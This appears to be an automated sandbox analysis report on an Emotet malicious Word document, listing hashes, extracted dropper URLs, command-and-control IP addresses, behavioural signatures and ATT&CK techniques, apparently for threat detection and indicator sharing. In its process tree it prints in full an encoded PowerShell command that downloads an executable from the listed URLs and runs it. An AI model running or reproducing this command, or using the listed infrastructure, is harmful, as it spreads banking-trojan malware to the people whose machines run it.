emotet | fdc27f3312f4db0ce7b05834067f880340583938a7143f7b3a8ee442255bc19a

General

Target

File 072020.doc
Size

172KB
MD5

a87e38f2d470c5c9862660e3fc3cf81f
SHA1

775910375d34e8536bde0d9128cc6103d5049d6a
SHA256

fdc27f3312f4db0ce7b05834067f880340583938a7143f7b3a8ee442255bc19a
SHA512

8a8b128d5a9d2caaf2940b0a77db738da9276d6e9b7177516b57c80374cce3e49a600bf36f04e759b595d1d0cf9d00ff10346b62c98afee29348a4f38e744889

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://www.leframe.com/wp-content/vbgSIz/

exe.dropper

http://irvingstudios.com/photos/jH40783/

exe.dropper

http://kyleriffic.com/blogs/RQ24ETH6SM/

exe.dropper

http://leannewaller.com/wwvvv/w11WKn/

exe.dropper

https://talkceltic.net/data/1OJD882281/

Extracted

Family

emotet

C2

24.249.135.121:80

185.94.252.13:443

149.62.173.247:8080

50.28.51.143:8080

80.249.176.206:80

5.196.35.138:7080

190.17.195.202:80

143.0.87.101:80

190.147.137.153:443

181.30.69.50:80

51.255.165.160:8080

190.96.118.251:443

72.47.248.48:7080

178.79.163.131:8080

212.231.60.98:80

187.162.248.237:80

2.47.112.152:80

68.183.190.199:8080

192.241.143.52:8080

77.55.211.77:8080

rsa_pubkey.plain

Signatures

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

427.exe

description	pid	process	target process
PID 1212 wrote to memory of 1656	1212	427.exe	srm.exe
PID 1212 wrote to memory of 1656	1212	427.exe	srm.exe
PID 1212 wrote to memory of 1656	1212	427.exe	srm.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/1212-9-0x0000000002130000-0x000000000213C000-memory.dmp	emotet
behavioral2/memory/1212-9-0x0000000002130000-0x000000000213C000-memory.dmp	emotet
behavioral2/memory/1656-12-0x0000000000620000-0x000000000062C000-memory.dmp	emotet
behavioral2/memory/1656-12-0x0000000000620000-0x000000000062C000-memory.dmp	emotet

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Drops file in System32 directory 1 IoCs

Processes:

427.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\choice\srm.exe 427.exe
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\choice\srm.exe	427.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

WINWORD.EXE427.exesrm.exe

pid	process
3820	WINWORD.EXE
3820	WINWORD.EXE
3820	WINWORD.EXE
3820	WINWORD.EXE
3820	WINWORD.EXE
3820	WINWORD.EXE
3820	WINWORD.EXE
3820	WINWORD.EXE
3820	WINWORD.EXE
1212	427.exe
1656	srm.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powersheLL.exesrm.exe

pid process

2220 powersheLL.exe
2220 powersheLL.exe
2220 powersheLL.exe
1656 srm.exe
1656 srm.exe
1656 srm.exe
1656 srm.exe
1656 srm.exe
1656 srm.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 2220 powersheLL.exe
Blacklisted process makes network request 2 IoCs

Processes:

powersheLL.exe

flow pid process

6 2220 powersheLL.exe
10 2220 powersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

427.exesrm.exe

pid process

1212 427.exe
1656 srm.exe

pid	process
2220	powersheLL.exe
2220	powersheLL.exe
2220	powersheLL.exe
1656	srm.exe
1656	srm.exe
1656	srm.exe
1656	srm.exe
1656	srm.exe
1656	srm.exe

description	pid	process
Token: SeDebugPrivilege	2220	powersheLL.exe

flow	pid	process
6	2220	powersheLL.exe
10	2220	powersheLL.exe

pid	process
1212	427.exe
1656	srm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3820 WINWORD.EXE
3820 WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2220	3992	powersheLL.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\File 072020.doc" /o ""
1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
PID:3820

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABVAFcAWQBYAFQAaABqAHYAPQAnAFgATQBIAEIAVwBmAGwAeAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwBgAFUAcgBpAFQAWQBQAGAAUgBgAE8AVABPAEMAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAUwBYAEMAVwBIAHQAawBvACAAPQAgACcANAAyADcAJwA7ACQARABUAFMARQBWAG8AZQBkAD0AJwBJAE8ASABMAEQAcQBkAGEAJwA7ACQATQBVAEEARABGAGUAaAB4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABTAFgAQwBXAEgAdABrAG8AKwAnAC4AZQB4AGUAJwA7ACQAUABBAFMAVABLAGwAawBsAD0AJwBSAEIAVwBLAEsAaQB4AGsAJwA7ACQASgBaAE0AVQBDAGsAawBmAD0ALgAoACcAbgAnACsAJwBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAVAAuAFcARQBCAEMATABJAEUAbgBUADsAJABIAFoAWABNAFQAbAB4AGEAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBsAGUAZgByAGEAbQBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdgBiAGcAUwBJAHoALwAqAGgAdAB0AHAAOgAvAC8AaQByAHYAaQBuAGcAcwB0AHUAZABpAG8AcwAuAGMAbwBtAC8AcABoAG8AdABvAHMALwBqAEgANAAwADcAOAAzAC8AKgBoAHQAdABwADoALwAvAGsAeQBsAGUAcgBpAGYAZgBpAGMALgBjAG8AbQAvAGIAbABvAGcAcwAvAFIAUQAyADQARQBUAEgANgBTAE0ALwAqAGgAdAB0AHAAOgAvAC8AbABlAGEAbgBuAGUAdwBhAGwAbABlAHIALgBjAG8AbQAvAHcAdwB2AHYAdgAvAHcAMQAxAFcASwBuAC8AKgBoAHQAdABwAHMAOgAvAC8AdABhAGwAawBjAGUAbAB0AGkAYwAuAG4AZQB0AC8AZABhAHQAYQAvADEATwBKAEQAOAA4ADIAMgA4ADEALwAnAC4AIgBzAHAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAUwBDAEoAUABlAHoAbgA9ACcAUABBAEQASwBTAGUAbABoACcAOwBmAG8AcgBlAGEAYwBoACgAJABFAFYAQgBXAFIAbAB4AHcAIABpAG4AIAAkAEgAWgBYAE0AVABsAHgAYQApAHsAdAByAHkAewAkAEoAWgBNAFUAQwBrAGsAZgAuACIARABPAHcATgBgAGwAbwBBAEQAZgBgAGkAYABsAGUAIgAoACQARQBWAEIAVwBSAGwAeAB3ACwAIAAkAE0AVQBBAEQARgBlAGgAeAApADsAJABVAEsASgBIAFQAawB4AG4APQAnAE4AWABFAFoATgBzAG8AYgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAE0AVQBBAEQARgBlAGgAeAApAC4AIgBMAGUATgBgAGcAVABIACIAIAAtAGcAZQAgADIANgA0ADIAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBgAFIAZQBgAEEAdABlACIAKAAkAE0AVQBBAEQARgBlAGgAeAApADsAJABGAEwATwBVAFcAZgB1AGsAPQAnAEcASQBTAFoAQwB5AGQAYQAnADsAYgByAGUAYQBrADsAJABVAFkAUwBMAEMAYwBsAHAAPQAnAFEATQBMAFcAUQB3AG8AYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABHAFEATQBCAFoAegBsAGcAPQAnAFYAWQBCAEIASwByAHcAaAAnAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Process spawned unexpected child process
PID:2220

C:\Users\Admin\427.exe
C:\Users\Admin\427.exe
1⤵
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:1212

C:\Windows\SysWOW64\choice\srm.exe
"C:\Windows\SysWOW64\choice\srm.exe"
2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:1656

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\427.exe

Download Submit
C:\Users\Admin\427.exe

Download Submit
C:\Windows\SysWOW64\choice\srm.exe

Download Submit
memory/1212-9-0x0000000002130000-0x000000000213C000-memory.dmp

Filesize
48KB

Download
memory/1656-10-0x0000000000000000-mapping.dmp

Download
memory/1656-12-0x0000000000620000-0x000000000062C000-memory.dmp

Filesize
48KB

Download
memory/3820-4-0x0000016F385EF000-0x0000016F3861F000-memory.dmp

Filesize
192KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads